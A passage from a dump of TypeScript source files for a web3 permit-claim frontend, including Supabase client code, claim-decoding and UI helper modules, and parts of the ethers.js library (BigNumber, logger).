'planned' | 'estimated'\n } = {}\n ): PostgrestFilterBuilder<\n Schema,\n Fn['Returns'] extends any[]\n ? Fn['Returns'][number] extends Record\n ? Fn['Returns'][number]\n : never\n : never,\n Fn['Returns']\n > {\n return this.rest.rpc(fn, args, options)\n }\n\n /**\n * Creates a Realtime channel with Broadcast, Presence, and Postgres Changes.\n *\n * @param {string} name - The name of the Realtime channel.\n * @param {Object} opts - The options to pass to the Realtime channel.\n *\n */\n channel(name: string, opts: RealtimeChannelOptions = { config: {} }): RealtimeChannel {\n return this.realtime.channel(name, opts)\n }\n\n /**\n * Returns all Realtime channels.\n */\n getChannels(): RealtimeChannel[] {\n return this.realtime.getChannels()\n }\n\n /**\n * Unsubscribes and removes Realtime channel from Realtime client.\n *\n * @param {RealtimeChannel} channel - The name of the Realtime channel.\n *\n */\n removeChannel(channel: RealtimeChannel): Promise<'ok' | 'timed out' | 'error'> {\n return this.realtime.removeChannel(channel)\n }\n\n /**\n * Unsubscribes and removes all Realtime channels from Realtime client.\n */\n removeAllChannels(): Promise<('ok' | 'timed out' | 'error')[]> {\n return this.realtime.removeAllChannels()\n }\n\n private async _getAccessToken() {\n const { data } = await this.auth.getSession()\n\n return data.session?.access_token ?? null\n }\n\n private _initSupabaseAuthClient(\n {\n autoRefreshToken,\n persistSession,\n detectSessionInUrl,\n storage,\n storageKey,\n flowType,\n debug,\n }: SupabaseAuthClientOptions,\n headers?: Record,\n fetch?: Fetch\n ) {\n const authHeaders = {\n Authorization: `Bearer ${this.supabaseKey}`,\n apikey: `${this.supabaseKey}`,\n }\n return new SupabaseAuthClient({\n url: this.authUrl,\n headers: { ...authHeaders, ...headers },\n storageKey: storageKey,\n autoRefreshToken,\n persistSession,\n detectSessionInUrl,\n storage,\n flowType,\n debug,\n fetch,\n // auth checks if there is a custom authorizaiton header using this flag\n // so it knows whether to return an error when getUser is called with no session\n hasCustomAuthorizationHeader: 'Authorization' in this.headers ?? false,\n })\n }\n\n private _initRealtimeClient(options: RealtimeClientOptions) {\n return new RealtimeClient(this.realtimeUrl, {\n ...options,\n params: { ...{ apikey: this.supabaseKey }, ...options?.params },\n })\n }\n\n private _listenForAuthEvents() {\n let data = this.auth.onAuthStateChange((event, session) => {\n this._handleTokenChanged(event, 'CLIENT', session?.access_token)\n })\n return data\n }\n\n private _handleTokenChanged(\n event: AuthChangeEvent,\n source: 'CLIENT' | 'STORAGE',\n token?: string\n ) {\n if (\n (event === 'TOKEN_REFRESHED' || event === 'SIGNED_IN') &&\n this.changedAccessToken !== token\n ) {\n // Token has changed\n this.realtime.setAuth(token ?? null)\n\n this.changedAccessToken = token\n } else if (event === 'SIGNED_OUT') {\n // Token is removed\n this.realtime.setAuth(this.supabaseKey)\n if (source == 'STORAGE') this.auth.signOut()\n this.changedAccessToken = undefined\n }\n }\n}\n", "import SupabaseClient from './SupabaseClient'\nimport type { GenericSchema, SupabaseClientOptions } from './lib/types'\n\nexport * from '@supabase/auth-js'\nexport type { User as AuthUser, Session as AuthSession } from '@supabase/auth-js'\nexport type {\n PostgrestResponse,\n PostgrestSingleResponse,\n PostgrestMaybeSingleResponse,\n PostgrestError,\n} from '@supabase/postgrest-js'\nexport {\n FunctionsHttpError,\n FunctionsFetchError,\n FunctionsRelayError,\n FunctionsError,\n type FunctionInvokeOptions,\n FunctionRegion,\n} from '@supabase/functions-js'\nexport * from '@supabase/realtime-js'\nexport { default as SupabaseClient } from './SupabaseClient'\nexport type { SupabaseClientOptions, QueryResult, QueryData, QueryError } from './lib/types'\n\n/**\n * Creates a new Supabase Client.\n */\nexport const createClient = <\n Database = any,\n SchemaName extends string & keyof Database = 'public' extends keyof Database\n ? 'public'\n : string & keyof Database,\n Schema extends GenericSchema = Database[SchemaName] extends GenericSchema\n ? Database[SchemaName]\n : any\n>(\n supabaseUrl: string,\n supabaseKey: string,\n options?: SupabaseClientOptions\n): SupabaseClient => {\n return new SupabaseClient(supabaseUrl, supabaseKey, options)\n}\n", "import { createClient } from \"@supabase/supabase-js\";\nimport { decodePermits } from \"@ubiquibot/permit-generation/handlers\";\nimport { Permit } from \"@ubiquibot/permit-generation/types\";\nimport { app, AppState } from \"../app-state\";\nimport { toaster } from \"../toaster\";\nimport { connectWallet } from \"../web3/connect-wallet\";\nimport { checkRenderInvalidatePermitAdminControl, checkRenderMakeClaimControl } from \"../web3/erc20-permit\";\nimport { verifyCurrentNetwork } from \"../web3/verify-current-network\";\nimport { claimRewardsPagination } from \"./claim-rewards-pagination\";\nimport { renderTransaction } from \"./render-transaction\";\nimport { setClaimMessage } from \"./set-claim-message\";\nimport { useRpcHandler } from \"../web3/use-rpc-handler\";\n\ndeclare const SUPABASE_URL: string;\ndeclare const SUPABASE_ANON_KEY: string;\n\nexport const supabase = createClient(SUPABASE_URL, SUPABASE_ANON_KEY);\n\nexport const table = document.getElementsByTagName(`table`)[0];\nconst urlParams = new URLSearchParams(window.location.search);\nconst base64encodedTxData = urlParams.get(\"claim\");\n\nexport async function readClaimDataFromUrl(app: AppState) {\n if (!base64encodedTxData) {\n // No claim data found\n setClaimMessage({ type: \"Notice\", message: `No claim data found.` });\n table.setAttribute(`data-make-claim`, \"error\");\n return;\n }\n\n app.claims = decodeClaimData(base64encodedTxData);\n app.claimTxs = await getClaimedTxs(app);\n\n try {\n app.provider = await useRpcHandler(app);\n } catch (e) {\n if (e instanceof Error) {\n toaster.create(\"error\", e.message);\n } else {\n toaster.create(\"error\", JSON.stringify(e));\n }\n }\n\n try {\n app.signer = await connectWallet();\n } catch (error) {\n /* empty */\n }\n\n try {\n // this would throw on mobile browsers & non-web3 browsers\n window?.ethereum.on(\"accountsChanged\", () => {\n checkRenderMakeClaimControl(app).catch(console.error);\n checkRenderInvalidatePermitAdminControl(app).catch(console.error);\n });\n } catch (err) {\n /*\n * handled feedback upstream already\n * buttons are hidden and non-web3 infinite toast exists\n */\n }\n\n displayRewardDetails();\n displayRewardPagination();\n\n await renderTransaction();\n if (app.networkId !== null) {\n await verifyCurrentNetwork(app.networkId);\n } else {\n throw new Error(\"Network ID is null\");\n }\n}\n\nasync function getClaimedTxs(app: AppState): Promise> {\n const txs: Record = Object.create(null);\n for (const claim of app.claims) {\n const { data } = await supabase.from(\"permits\").select(\"transaction\").eq(\"nonce\", claim.nonce.toString());\n\n if (data?.length == 1 && data[0].transaction !== null) {\n txs[claim.nonce.toString()] = data[0].transaction as string;\n }\n }\n return txs;\n}\n\nfunction decodeClaimData(base64encodedTxData: string): Permit[] {\n let permit;\n\n try {\n permit = decodePermits(base64encodedTxData);\n return permit;\n } catch (error) {\n console.error(error);\n setClaimMessage({ type: \"Error\", message: `Invalid claim data passed in URL` });\n table.setAttribute(`data-make-claim`, \"error\");\n throw error;\n }\n}\n\nfunction displayRewardPagination() {\n const rewardsCount = document.getElementById(\"rewardsCount\");\n if (rewardsCount) {\n if (!app.claims || app.claims.length <= 1) {\n // already hidden\n } else {\n claimRewardsPagination(rewardsCount);\n }\n }\n}\n\nfunction displayRewardDetails() {\n let isDetailsVisible = false;\n table.setAttribute(`data-details-visible`, isDetailsVisible.toString());\n const additionalDetails = document.getElementById(`additionalDetails`) as HTMLElement;\n additionalDetails.addEventListener(\"click\", () => {\n isDetailsVisible = !isDetailsVisible;\n table.setAttribute(`data-details-visible`, isDetailsVisible.toString());\n });\n}\n", "const LOADER = \"data-loader\";\nconst MAKE_CLAIM = \"data-make-claim\";\nconst VIEW_CLAIM = \"data-view-claim\";\nconst INVALIDATOR = \"data-invalidator\";\nexport class ButtonController {\n private _controls: HTMLDivElement;\n\n constructor(controls: HTMLDivElement) {\n this._controls = controls;\n this.hideAll();\n }\n\n public showLoader(): void {\n if (window.ethereum) {\n this._controls.setAttribute(LOADER, \"true\");\n } else {\n throw new Error(\"Can not show loader without `ethereum`\");\n }\n }\n\n public hideLoader(): void {\n this._controls.setAttribute(LOADER, \"false\");\n }\n\n public hideMakeClaim(): void {\n this._controls.setAttribute(MAKE_CLAIM, \"false\");\n }\n\n public showMakeClaim(): void {\n if (window.ethereum) {\n this._controls.setAttribute(MAKE_CLAIM, \"true\");\n } else {\n throw new Error(\"Can not show make claim button without `ethereum`\");\n }\n }\n\n public hideViewClaim(): void {\n this._controls.setAttribute(VIEW_CLAIM, \"false\");\n }\n\n public showViewClaim(): void {\n this._controls.setAttribute(VIEW_CLAIM, \"true\");\n }\n\n public hideInvalidator(): void {\n this._controls.setAttribute(INVALIDATOR, \"false\");\n }\n\n public showInvalidator(): void {\n if (window.ethereum) {\n this._controls.setAttribute(INVALIDATOR, \"true\");\n } else {\n throw new Error(\"Can not show invalidator button without `ethereum`\");\n }\n }\n\n public onlyShowLoader(): void {\n this.hideMakeClaim();\n this.hideViewClaim();\n this.hideInvalidator();\n this.showLoader();\n }\n\n public onlyShowMakeClaim(): void {\n this.hideLoader();\n this.showMakeClaim();\n this.hideViewClaim();\n this.hideInvalidator();\n }\n\n public onlyShowViewClaim(): void {\n this.hideLoader();\n this.hideMakeClaim();\n this.showViewClaim();\n this.hideInvalidator();\n }\n\n public onlyShowInvalidator(): void {\n this.hideLoader();\n this.hideMakeClaim();\n this.hideViewClaim();\n this.showInvalidator();\n }\n\n public hideAll(): void {\n this.hideLoader();\n this.hideMakeClaim();\n this.hideViewClaim();\n this.hideInvalidator();\n }\n}\n", "import { ButtonController } from \"./button-controller\";\n\nexport const toaster = {\n create: createToast,\n error: errorToast,\n icons: {\n success: \"fa-circle-check\",\n error: \"fa-circle-xmark\",\n warning: \"fa-triangle-exclamation\",\n info: \"fa-circle-info\",\n },\n};\n\nconst controls = document.getElementById(\"controls\") as HTMLDivElement;\nexport function getMakeClaimButton() {\n return document.getElementById(\"make-claim\") as HTMLButtonElement;\n}\nexport const viewClaimButton = document.getElementById(\"view-claim\") as HTMLButtonElement;\nconst notifications = document.querySelector(\".notifications\") as HTMLUListElement;\nexport const buttonController = new ButtonController(controls);\n\nfunction createToast(meaning: keyof typeof toaster.icons, text: string, timeout: number = 5000) {\n if (meaning != \"info\") buttonController.hideLoader();\n const toastDetails = {\n timer: timeout,\n } as {\n timer: number;\n timeoutId?: NodeJS.Timeout;\n };\n // Getting the icon and text for the toast based on the id passed\n const _icon = toaster.icons[meaning];\n const toastContent = document.createElement(\"li\"); // Creating a new 'li' element for the toast\n toastContent.className = `toast .${_icon} ${meaning}`; // Setting the classes for the toast\n\n // Setting the inner HTML for the toast\n toastContent.innerHTML = `

`;\n\n // attaching a click event listener to the toast to remove it when the close icon is clicked\n const i = document.createElement(\"i\");\n i.className = \"fa-solid fa-xmark\";\n i.onclick = () => removeToast(toastContent, toastDetails.timeoutId);\n toastContent.appendChild(i);\n\n notifications.appendChild(toastContent); // Append the toast to the notification ul\n\n if (timeout !== Infinity) {\n // Setting a timeout to remove the toast after the specified duration\n toastDetails.timeoutId = setTimeout(() => removeToast(toastContent, toastDetails.timeoutId), toastDetails.timer);\n }\n}\n\nfunction removeToast(toast: HTMLElement, timeoutId?: NodeJS.Timeout) {\n toast.classList.add(\"hide\");\n if (timeoutId) {\n clearTimeout(timeoutId); // Clearing the timeout for the toast\n }\n setTimeout(() => toast.remove(), 500); // Removing the toast after 500ms\n}\n\nexport function errorToast(error: MetaMaskError, errorMessage?: string) {\n // If a custom error message is provided, use it\n if (errorMessage) {\n toaster.create(\"error\", errorMessage);\n return;\n }\n\n toaster.create(\"error\", error.reason);\n}\n\nexport type MetaMaskError = {\n reason: \"user rejected transaction\";\n code: \"ACTION_REJECTED\";\n action: \"sendTransaction\";\n transaction: {\n data: \"0x30f28b7a000000000000000000000000e91d153e0b41518a2ce8dd3d7944fa863463a97d0000000000000000000000000000000000000000000000056bc75e2d631000008defcc81869c636cbdd4c06c9247db239d4368d5e14d39793cfc2047c43d9532ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000000000000000000000004007ce2083c7f3e18097aeb3a39bb8ec149a341d0000000000000000000000000000000000000000000000056bc75e2d6310000000000000000000000000000044ca15db101fd1c194467db6af0c67c6bbf4ab510000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000004165db9eaebb7ea1854531d5e23305ee72481845b6df34c458fbc4e5a0422c4c9d36a674a92f3c877a8ae7f0990e0f1b1e5a21d904d2be34fa75aa71905d940a451b00000000000000000000000000000000000000000000000000000000000000\";\n to: \"0x000000000022D473030F116dDEE9F6B43aC78BA3\";\n from: \"0x4007CE2083c7F3E18097aeB3A39bb8eC149a341d\";\n gasLimit: {\n type: \"BigNumber\";\n hex: \"0x012c5a\";\n };\n };\n};\n", "\"use strict\";\n\nimport { BaseContract, Contract, ContractFactory } from \"@ethersproject/contracts\";\n\nimport { BigNumber, FixedNumber } from \"@ethersproject/bignumber\";\n\nimport { Signer, VoidSigner } from \"@ethersproject/abstract-signer\";\nimport { Wallet } from \"@ethersproject/wallet\";\n\nimport * as constants from \"@ethersproject/constants\";\n\nimport * as providers from \"@ethersproject/providers\";\nimport { getDefaultProvider } from \"@ethersproject/providers\";\n\nimport { Wordlist, wordlists} from \"@ethersproject/wordlists\";\n\nimport * as utils from \"./utils\";\n\nimport { ErrorCode as errors, Logger } from \"@ethersproject/logger\";\n\n////////////////////////\n// Types\n\nimport type { TypedDataDomain, TypedDataField } from \"@ethersproject/abstract-signer\";\nimport { BigNumberish } from \"@ethersproject/bignumber\";\nimport { Bytes, BytesLike, Signature } from \"@ethersproject/bytes\";\nimport { Transaction, UnsignedTransaction } from \"@ethersproject/transactions\";\n\n\n////////////////////////\n// Compile-Time Constants\n\n// This is generated by \"npm run dist\"\nimport { version } from \"./_version\";\n\nconst logger = new Logger(version);\n\n////////////////////////\n// Types\n\nimport {\n ContractFunction,\n ContractReceipt,\n ContractTransaction,\n\n Event,\n EventFilter,\n\n Overrides,\n PayableOverrides,\n CallOverrides,\n\n PopulatedTransaction,\n\n ContractInterface\n} from \"@ethersproject/contracts\";\n\n\n////////////////////////\n// Exports\n\nexport {\n Signer,\n\n Wallet,\n VoidSigner,\n\n getDefaultProvider,\n providers,\n\n BaseContract,\n Contract,\n ContractFactory,\n\n BigNumber,\n FixedNumber,\n\n constants,\n errors,\n\n logger,\n\n utils,\n\n wordlists,\n\n\n ////////////////////////\n // Compile-Time Constants\n\n version,\n\n\n ////////////////////////\n // Types\n\n ContractFunction,\n ContractReceipt,\n ContractTransaction,\n Event,\n EventFilter,\n\n Overrides,\n PayableOverrides,\n CallOverrides,\n\n PopulatedTransaction,\n\n ContractInterface,\n\n TypedDataDomain,\n TypedDataField,\n\n BigNumberish,\n\n Bytes,\n BytesLike,\n\n Signature,\n\n Transaction,\n UnsignedTransaction,\n\n Wordlist\n};\n\n", "\"use strict\";\n\n/**\n * BigNumber\n *\n * A wrapper around the BN.js object. We use the BN.js library\n * because it is used by elliptic, so it is required regardless.\n *\n */\n\nimport _BN from \"bn.js\";\nimport BN = _BN.BN;\n\nimport { Bytes, Hexable, hexlify, isBytes, isHexString } from \"@ethersproject/bytes\";\n\nimport { Logger } from \"@ethersproject/logger\";\nimport { version } from \"./_version\";\nconst logger = new Logger(version);\n\nconst _constructorGuard = { };\n\nconst MAX_SAFE = 0x1fffffffffffff;\n\n\nexport type BigNumberish = BigNumber | Bytes | bigint | string | number;\n\nexport function isBigNumberish(value: any): value is BigNumberish {\n return (value != null) && (\n BigNumber.isBigNumber(value) ||\n (typeof(value) === \"number\" && (value % 1) === 0) ||\n (typeof(value) === \"string\" && !!value.match(/^-?[0-9]+$/)) ||\n isHexString(value) ||\n (typeof(value) === \"bigint\") ||\n isBytes(value)\n );\n}\n\n// Only warn about passing 10 into radix once\nlet _warnedToStringRadix = false;\n\nexport class BigNumber implements Hexable {\n readonly _hex: string;\n readonly _isBigNumber: boolean;\n\n constructor(constructorGuard: any, hex: string) {\n if (constructorGuard !== _constructorGuard) {\n logger.throwError(\"cannot call constructor directly; use BigNumber.from\", Logger.errors.UNSUPPORTED_OPERATION, {\n operation: \"new (BigNumber)\"\n });\n }\n\n this._hex = hex;\n this._isBigNumber = true;\n\n Object.freeze(this);\n }\n\n fromTwos(value: number): BigNumber {\n return toBigNumber(toBN(this).fromTwos(value));\n }\n\n toTwos(value: number): BigNumber {\n return toBigNumber(toBN(this).toTwos(value));\n }\n\n abs(): BigNumber {\n if (this._hex[0] === \"-\") {\n return BigNumber.from(this._hex.substring(1));\n }\n return this;\n }\n\n add(other: BigNumberish): BigNumber {\n return toBigNumber(toBN(this).add(toBN(other)));\n }\n\n sub(other: BigNumberish): BigNumber {\n return toBigNumber(toBN(this).sub(toBN(other)));\n }\n\n div(other: BigNumberish): BigNumber {\n const o = BigNumber.from(other);\n if (o.isZero()) {\n throwFault(\"division-by-zero\", \"div\");\n }\n return toBigNumber(toBN(this).div(toBN(other)));\n }\n\n mul(other: BigNumberish): BigNumber {\n return toBigNumber(toBN(this).mul(toBN(other)));\n }\n\n mod(other: BigNumberish): BigNumber {\n const value = toBN(other);\n if (value.isNeg()) {\n throwFault(\"division-by-zero\", \"mod\");\n }\n return toBigNumber(toBN(this).umod(value));\n }\n\n pow(other: BigNumberish): BigNumber {\n const value = toBN(other);\n if (value.isNeg()) {\n throwFault(\"negative-power\", \"pow\");\n }\n return toBigNumber(toBN(this).pow(value));\n }\n\n and(other: BigNumberish): BigNumber {\n const value = toBN(other);\n if (this.isNegative() || value.isNeg()) {\n throwFault(\"unbound-bitwise-result\", \"and\");\n }\n return toBigNumber(toBN(this).and(value));\n }\n\n or(other: BigNumberish): BigNumber {\n const value = toBN(other);\n if (this.isNegative() || value.isNeg()) {\n throwFault(\"unbound-bitwise-result\", \"or\");\n }\n return toBigNumber(toBN(this).or(value));\n }\n\n xor(other: BigNumberish): BigNumber {\n const value = toBN(other);\n if (this.isNegative() || value.isNeg()) {\n throwFault(\"unbound-bitwise-result\", \"xor\");\n }\n return toBigNumber(toBN(this).xor(value));\n }\n\n mask(value: number): BigNumber {\n if (this.isNegative() || value < 0) {\n throwFault(\"negative-width\", \"mask\");\n }\n return toBigNumber(toBN(this).maskn(value));\n }\n\n shl(value: number): BigNumber {\n if (this.isNegative() || value < 0) {\n throwFault(\"negative-width\", \"shl\");\n }\n return toBigNumber(toBN(this).shln(value));\n }\n\n shr(value: number): BigNumber {\n if (this.isNegative() || value < 0) {\n throwFault(\"negative-width\", \"shr\");\n }\n return toBigNumber(toBN(this).shrn(value));\n }\n\n eq(other: BigNumberish): boolean {\n return toBN(this).eq(toBN(other));\n }\n\n lt(other: BigNumberish): boolean {\n return toBN(this).lt(toBN(other));\n }\n\n lte(other: BigNumberish): boolean {\n return toBN(this).lte(toBN(other));\n }\n\n gt(other: BigNumberish): boolean {\n return toBN(this).gt(toBN(other));\n }\n\n gte(other: BigNumberish): boolean {\n return toBN(this).gte(toBN(other));\n }\n\n isNegative(): boolean {\n return (this._hex[0] === \"-\");\n }\n\n isZero(): boolean {\n return toBN(this).isZero();\n }\n\n toNumber(): number {\n try {\n return toBN(this).toNumber();\n } catch (error) {\n throwFault(\"overflow\", \"toNumber\", this.toString());\n }\n return null;\n }\n\n toBigInt(): bigint {\n try {\n return BigInt(this.toString());\n } catch (e) { }\n\n return logger.throwError(\"this platform does not support BigInt\", Logger.errors.UNSUPPORTED_OPERATION, {\n value: this.toString()\n });\n }\n\n toString(): string {\n // Lots of people expect this, which we do not support, so check (See: #889)\n if (arguments.length > 0) {\n if (arguments[0] === 10) {\n if (!_warnedToStringRadix) {\n _warnedToStringRadix = true;\n logger.warn(\"BigNumber.toString does not accept any parameters; base-10 is assumed\");\n }\n } else if (arguments[0] === 16) {\n logger.throwError(\"BigNumber.toString does not accept any parameters; use bigNumber.toHexString()\", Logger.errors.UNEXPECTED_ARGUMENT, { });\n } else {\n logger.throwError(\"BigNumber.toString does not accept parameters\", Logger.errors.UNEXPECTED_ARGUMENT, { });\n }\n }\n return toBN(this).toString(10);\n }\n\n toHexString(): string {\n return this._hex;\n }\n\n toJSON(key?: string): any {\n return { type: \"BigNumber\", hex: this.toHexString() };\n }\n\n static from(value: any): BigNumber {\n if (value instanceof BigNumber) { return value; }\n\n if (typeof(value) === \"string\") {\n if (value.match(/^-?0x[0-9a-f]+$/i)) {\n return new BigNumber(_constructorGuard, toHex(value));\n }\n\n if (value.match(/^-?[0-9]+$/)) {\n return new BigNumber(_constructorGuard, toHex(new BN(value)));\n }\n\n return logger.throwArgumentError(\"invalid BigNumber string\", \"value\", value);\n }\n\n if (typeof(value) === \"number\") {\n if (value % 1) {\n throwFault(\"underflow\", \"BigNumber.from\", value);\n }\n\n if (value >= MAX_SAFE || value <= -MAX_SAFE) {\n throwFault(\"overflow\", \"BigNumber.from\", value);\n }\n\n return BigNumber.from(String(value));\n }\n\n const anyValue = value;\n\n if (typeof(anyValue) === \"bigint\") {\n return BigNumber.from(anyValue.toString());\n }\n\n if (isBytes(anyValue)) {\n return BigNumber.from(hexlify(anyValue));\n }\n\n if (anyValue) {\n\n // Hexable interface (takes priority)\n if (anyValue.toHexString) {\n const hex = anyValue.toHexString();\n if (typeof(hex) === \"string\") {\n return BigNumber.from(hex);\n }\n\n } else {\n // For now, handle legacy JSON-ified values (goes away in v6)\n let hex = anyValue._hex;\n\n // New-form JSON\n if (hex == null && anyValue.type === \"BigNumber\") {\n hex = anyValue.hex;\n }\n\n if (typeof(hex) === \"string\") {\n if (isHexString(hex) || (hex[0] === \"-\" && isHexString(hex.substring(1)))) {\n return BigNumber.from(hex);\n }\n }\n }\n }\n\n return logger.throwArgumentError(\"invalid BigNumber value\", \"value\", value);\n }\n\n static isBigNumber(value: any): value is BigNumber {\n return !!(value && value._isBigNumber);\n }\n}\n\n// Normalize the hex string\nfunction toHex(value: string | BN): string {\n\n // For BN, call on the hex string\n if (typeof(value) !== \"string\") {\n return toHex(value.toString(16));\n }\n\n // If negative, prepend the negative sign to the normalized positive value\n if (value[0] === \"-\") {\n // Strip off the negative sign\n value = value.substring(1);\n\n // Cannot have multiple negative signs (e.g. \"--0x04\")\n if (value[0] === \"-\") { logger.throwArgumentError(\"invalid hex\", \"value\", value); }\n\n // Call toHex on the positive component\n value = toHex(value);\n\n // Do not allow \"-0x00\"\n if (value === \"0x00\") { return value; }\n\n // Negate the value\n return \"-\" + value;\n }\n\n // Add a \"0x\" prefix if missing\n if (value.substring(0, 2) !== \"0x\") { value = \"0x\" + value; }\n\n // Normalize zero\n if (value === \"0x\") { return \"0x00\"; }\n\n // Make the string even length\n if (value.length % 2) { value = \"0x0\" + value.substring(2); }\n\n // Trim to smallest even-length string\n while (value.length > 4 && value.substring(0, 4) === \"0x00\") {\n value = \"0x\" + value.substring(4);\n }\n\n return value;\n}\n\nfunction toBigNumber(value: BN): BigNumber {\n return BigNumber.from(toHex(value));\n}\n\nfunction toBN(value: BigNumberish): BN {\n const hex = BigNumber.from(value).toHexString();\n if (hex[0] === \"-\") {\n return (new BN(\"-\" + hex.substring(3), 16));\n }\n return new BN(hex.substring(2), 16);\n}\n\nfunction throwFault(fault: string, operation: string, value?: any): never {\n const params: any = { fault: fault, operation: operation };\n if (value != null) { params.value = value; }\n\n return logger.throwError(fault, Logger.errors.NUMERIC_FAULT, params);\n}\n\n// value should have no prefix\nexport function _base36To16(value: string): string {\n return (new BN(value, 36)).toString(16);\n}\n\n// value should have no prefix\nexport function _base16To36(value: string): string {\n return (new BN(value, 16)).toString(36);\n}\n", "export const version = \"logger/5.7.0\";\n", "\"use strict\";\n\nlet _permanentCensorErrors = false;\nlet _censorErrors = false;\n\nconst LogLevels: { [ name: string ]: number } = { debug: 1, \"default\": 2, info: 2, warning: 3, error: 4, off: 5 };\nlet _logLevel = LogLevels[\"default\"];\n\nimport { version } from \"./_version\";\n\nlet _globalLogger: Logger = null;\n\nfunction _checkNormalize(): string {\n try {\n const missing: Array = [ ];\n\n // Make sure all forms of normalization are supported\n [\"NFD\", \"NFC\", \"NFKD\", \"NFKC\"].forEach((form) => {\n try {\n if (\"test\".normalize(form) !== \"test\") {\n throw new Error(\"bad normalize\");\n };\n } catch(error) {\n missing.push(form);\n }\n });\n\n if (missing.length) {\n throw new Error(\"missing \" + missing.join(\", \"));\n }\n\n if (String.fromCharCode(0xe9).normalize(\"NFD\") !== String.fromCharCode(0x65, 0x0301)) {\n throw new Error(\"broken implementation\")\n }\n } catch (error) {\n return error.message;\n }\n\n return null;\n}\n\nconst _normalizeError = _checkNormalize();\n\nexport enum LogLevel {\n DEBUG = \"DEBUG\",\n INFO = \"INFO\",\n WARNING = \"WARNING\",\n ERROR = \"ERROR\",\n OFF = \"OFF\"\n}\n\n\nexport enum ErrorCode {\n\n ///////////////////\n // Generic Errors\n\n // Unknown Error\n UNKNOWN_ERROR = \"UNKNOWN_ERROR\",\n\n // Not Implemented\n NOT_IMPLEMENTED = \"NOT_IMPLEMENTED\",\n\n // Unsupported Operation\n // - operation\n UNSUPPORTED_OPERATION = \"UNSUPPORTED_OPERATION\",\n\n // Network Error (i.e. Ethereum Network, such as an invalid chain ID)\n // - event (\"noNetwork\" is not re-thrown in provider.ready; otherwise thrown)\n NETWORK_ERROR = \"NETWORK_ERROR\",\n\n // Some sort of bad response from the server\n SERVER_ERROR = \"SERVER_ERROR\",\n\n // Timeout\n TIMEOUT = \"TIMEOUT\",\n\n ///////////////////\n // Operational Errors\n\n // Buffer Overrun\n BUFFER_OVERRUN = \"BUFFER_OVERRUN\",\n\n // Numeric Fault\n // - operation: the operation being executed\n // - fault: the reason this faulted\n NUMERIC_FAULT = \"NUMERIC_FAULT\",\n\n\n ///////////////////\n // Argument Errors\n\n // Missing new operator to an object\n // - name: The name of the class\n MISSING_NEW = \"MISSING_NEW\",\n\n // Invalid argument (e.g. value is incompatible with type) to a function:\n // - argument: The argument name that was invalid\n // - value: The value of the argument\n INVALID_ARGUMENT = \"INVALID_ARGUMENT\",\n\n // Missing argument to a function:\n // - count: The number of arguments received\n // - expectedCount: The number of arguments expected\n MISSING_ARGUMENT = \"MISSING_ARGUMENT\",\n\n // Too many arguments\n // - count: The number of arguments received\n // - expectedCount: The number of arguments expected\n UNEXPECTED_ARGUMENT = \"UNEXPECTED_ARGUMENT\",\n\n\n ///////////////////\n // Blockchain Errors\n\n // Call exception\n // - transaction: the transaction\n // - address?: the contract address\n // - args?: The arguments passed into the function\n // - method?: The Solidity method signature\n // - errorSignature?: The EIP848 error signature\n // - errorArgs?: The EIP848 error parameters\n // - reason: The reason (only for EIP848 \"Error(string)\")\n CALL_EXCEPTION = \"CALL_EXCEPTION\",\n\n // Insufficient funds (< value + gasLimit * gasPrice)\n // - transaction: the transaction attempted\n INSUFFICIENT_FUNDS = \"INSUFFICIENT_FUNDS\",\n\n // Nonce has already been used\n // - transaction: the transaction attempted\n NONCE_EXPIRED = \"NONCE_EXPIRED\",\n\n // The replacement fee for the transaction is too low\n // - transaction: the transaction attempted\n REPLACEMENT_UNDERPRICED = \"REPLACEMENT_UNDERPRICED\",\n\n // The gas limit could not be estimated\n // - transaction: the transaction passed to estimateGas\n UNPREDICTABLE_GAS_LIMIT = \"UNPREDICTABLE_GAS_LIMIT\",\n\n // The transaction was replaced by one with a higher gas price\n // - reason: \"cancelled\", \"replaced\" or \"repriced\"\n // - cancelled: true if reason == \"cancelled\" or reason == \"replaced\")\n // - hash: original transaction hash\n // - replacement: the full TransactionsResponse for the replacement\n // - receipt: the receipt of the replacement\n TRANSACTION_REPLACED = \"TRANSACTION_REPLACED\",\n\n\n ///////////////////\n // Interaction Errors\n\n // The user rejected the action, such as signing a message or sending\n // a transaction\n ACTION_REJECTED = \"ACTION_REJECTED\",\n};\n\nconst HEX = \"0123456789abcdef\";\n\nexport class Logger {\n readonly version: string;\n\n static errors = ErrorCode;\n\n static levels = LogLevel;\n\n constructor(version: string) {\n Object.defineProperty(this, \"version\", {\n enumerable: true,\n value: version,\n writable: false\n });\n }\n\n _log(logLevel: LogLevel, args: Array): void {\n const level = logLevel.toLowerCase();\n if (LogLevels[level] == null) {\n this.throwArgumentError(\"invalid log level name\", \"logLevel\", logLevel);\n }\n if (_logLevel > LogLevels[level]) { return; }\n console.log.apply(console, args);\n }\n\n debug(...args: Array): void {\n this._log(Logger.levels.DEBUG, args);\n }\n\n info(...args: Array): void {\n this._log(Logger.levels.INFO, args);\n }\n\n warn(...args: Array): void {\n this._log(Logger.levels.WARNING, args);\n }\n\n makeError(message: string, code?: ErrorCode, params?: any): Error {\n // Errors are being censored\n if (_censorErrors) {\n return this.makeError(\"censored error\", code, { });\n }\n\n if (!code) { code = Logger.errors.UNKNOWN_ERROR; }\n if (!params) { params = {}; }\n\n const messageDetails: Array = [];\n Object.keys(params).forEach((key) => {\n const value = params[key];\n try {\n if (value instanceof Uint8Array) {\n let hex = \"\";\n for (let i = 0; i < value.length; i++) {\n hex += HEX[value[i] >> 4];\n hex += HEX[value[i] & 0x0f];\n }\n messageDetails.push(key + \"=Uint8Array(0x\" + hex + \")\");\n } else {\n messageDetails.push(key + \"=\" + JSON.stringify(value));\n }\n } catch (error) {\n messageDetails.push(key + \"=\" + JSON.stringify(params[key].toString()));\n }\n });\n messageDetails.push(`code=${ code }`);\n messageDetails.push(`version=${ this.version }`);\n\n const reason = message;\n\n let url = \"\";\n\n switch (code) {\n case ErrorCode.NUMERIC_FAULT: {\n url = \"NUMERIC_FAULT\";\n const fault = message;\n\n switch (fault) {\n case \"overflow\": case \"underflow\": case \"division-by-zero\":\n url += \"-\" + fault;\n break;\n case \"negative-power\": case \"negative-width\":\n url += \"-unsupported\";\n break;\n case \"unbound-bitwise-result\":\n url += \"-unbound-result\";\n break;\n }\n break;\n }\n case ErrorCode.CALL_EXCEPTION:\n case ErrorCode.INSUFFICIENT_FUNDS:\n case ErrorCode.MISSING_NEW:\n case 